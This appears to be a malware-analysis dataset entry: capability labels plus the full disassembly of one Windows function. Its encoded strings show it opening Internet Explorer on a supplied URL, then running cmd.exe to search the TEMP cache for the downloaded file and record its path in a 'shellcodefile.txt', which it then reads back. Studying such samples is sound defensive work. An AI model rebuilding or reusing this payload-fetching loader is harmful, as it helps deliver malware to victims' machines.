Function at 0x40185e
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x944
mov dword [esp + 8], 0x64
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], str.PROGRAMFILES
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x210]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x210]
add eax, edx
mov dword [eax], 0x746e495c
mov dword [eax + 4], 0x656e7265
mov dword [eax + 8], 0x78452074
mov dword [eax + 0xc], 0x726f6c70
mov dword [eax + 0x10], 0x695c7265
mov dword [eax + 0x14], 0x6c707865
mov dword [eax + 0x18], 0x2e65726f
mov dword [eax + 0x1c], 0x657865
mov dword [esp + 0x14], 0xa
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x210]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [esp], 0x1f40
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov word [ebp - 0x212], 0x2f
lea eax, [ebp - 0x212]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40197a
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x212]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp - 0xc], eax
jmp 0x401953
mov word [ebp - 0x214], 0x2e
lea eax, [ebp - 0x214]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strtok
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x214]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.msvcrt.dll_strtok
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x96
lea eax, [ebp - 0x340]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x96
lea eax, [ebp - 0x2aa]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x2aa]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
sub eax, 5
mov byte [ebp + eax - 0x2aa], 0
mov dword [ebp - 0x534], 0x20432f
lea edx, [ebp - 0x530]
mov eax, 0
mov ecx, 0x7c
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 8], 1
lea eax, [ebp - 0x340]
mov dword [esp + 4], eax
lea eax, [ebp - 0x534]
mov dword [esp], eax
call sub.msvcrt.dll_strncat
lea eax, [ebp - 0x534]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x534]
add eax, edx
mov dword [eax], 0x2626203a
mov dword [eax + 4], 0x20646320
mov word [eax + 8], 0x22
lea eax, [ebp - 0x2aa]
mov dword [esp + 4], eax
lea eax, [ebp - 0x534]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x534]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x534]
add eax, edx
mov dword [eax], 0x26262022
mov dword [eax + 4], 0x72696420
mov dword [eax + 8], 0x2f202e20
mov dword [eax + 0xc], 0x622f2073
mov dword [eax + 0x10], 0x66207c20
mov dword [eax + 0x14], 0x20646e69
mov word [eax + 0x18], 0x22
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x534]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x534]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x534]
add eax, edx
mov dword [eax], 0x203e2022
mov word [eax + 4], 0x22
lea eax, [ebp - 0x340]
mov dword [esp + 4], eax
lea eax, [ebp - 0x534]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x534]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x534]
add eax, edx
mov dword [eax], 0x6568735c
mov dword [eax + 4], 0x6f636c6c
mov dword [eax + 8], 0x69666564
mov dword [eax + 0xc], 0x742e656c
mov dword [eax + 0x10], 0x227478
mov dword [esp + 8], 0x1f4
lea eax, [ebp - 0x728]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x728]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x728]
add eax, edx
mov dword [eax], 0x7379735c
mov dword [eax + 4], 0x336d6574
mov dword [eax + 8], 0x6d635c32
mov dword [eax + 0xc], 0x78652e64
mov word [eax + 0x10], 0x65
mov dword [esp + 0x14], 0xa
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x534]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
lea edx, [ebp - 0x91c]
mov eax, 0
mov ecx, 0x7d
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x340]
mov dword [esp + 4], eax
lea eax, [ebp - 0x91c]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x91c]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x91c]
add eax, edx
mov dword [eax], 0x6568735c
mov dword [eax + 4], 0x6f636c6c
mov dword [eax + 8], 0x69666564
mov dword [eax + 0xc], 0x742e656c
mov word [eax + 0x10], _cexit
mov byte [eax + 0x12], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x14], 0
jne 0x401cff
cmp dword [ebp - 0x18], 0x3e8
jg 0x401cff
lea eax, [ebp - 0x91c]
mov dword [esp], eax
call fcn.0040167c
mov dword [ebp - 0x14], eax
mov dword [esp], 0x1f4
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0x18], 1
jmp 0x401cc8
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x91c]
mov dword [esp], eax
call fcn.004016ee
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x14]
lea edx, [eax - 2]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp - 4]
leave
ret